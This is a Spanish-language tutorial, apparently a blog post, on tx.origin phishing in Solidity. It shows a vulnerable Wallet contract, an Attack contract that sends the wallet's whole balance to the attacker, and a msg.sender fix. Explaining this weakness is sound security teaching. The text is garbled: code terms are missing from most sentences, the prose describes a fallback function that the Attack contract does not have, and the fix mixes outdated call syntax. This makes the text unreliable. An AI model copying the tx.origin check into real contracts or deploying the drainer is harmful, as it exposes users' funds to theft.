es una variable global en Solidity que devuelve la dirección de la cuenta que envió la transacción. Los contratos que utilizan para autorizar a los usuarios son vulnerables a los ataques de phishing. tx.origin tx.origin ¿Cómo? Digamos que se podría hacer una llamada al contrato vulnerable que pasa la verificación de autorización ya que devuelve el remitente original de la transacción que en este caso es la cuenta autorizada. tx.origin Veamos el ejemplo. contract Wallet { address public owner; constructor() payable { owner = msg.sender; } function transfer(address payable _to, uint _amount) public { require(tx.origin == owner); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); } } contract Attack { address payable public owner; Wallet wallet; constructor(Wallet _wallet) { wallet = Wallet(_wallet); owner = payable(msg.sender); } function attack() public { wallet.transfer(owner, address(wallet).balance); } } Creé dos contratos: que almacena y retira fondos, y , que es un contrato realizado por un atacante que quiere atacar el primer contrato. Wallet Attack Tenga en cuenta que el contrato autoriza la función de utilizando . transfer tx.origin Ahora, si el propietario del contrato de envía una transacción con suficiente gas a la dirección de , invocará la función de respaldo, que a su vez llama a la función de del contrato de con el atacante de parámetros. Wallet Attack transfer Wallet Como resultado, todos los fondos del contrato de se retirarán a la dirección del atacante. Esto se debe a que la dirección que primero inició la llamada era la de la víctima (es decir, el propietario del contrato de ). Wallet Wallet Por lo tanto, será igual al propietario y se pasará el . tx.origin require Cómo prevenir los ataques de Tx Origin La mejor manera de prevenir los ataques de Tx Origin es no utilizar con fines de autenticación. En su lugar, es recomendable utilizar (ver más abajo) tx.origin msg.sender function transfer(address payable _to, uint256 _amount) public { require(msg.sender == owner); (bool sent, ) = _to.call.value(_amount)(""); require(sent, "Failed to send Ether"); } Fuentes: https://solidity-by-example.org/hacks/phishing-with-tx-origin/ https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514 https://blog.sigmaprime.io/solidity-security.html#tx-origin También publicado . aquí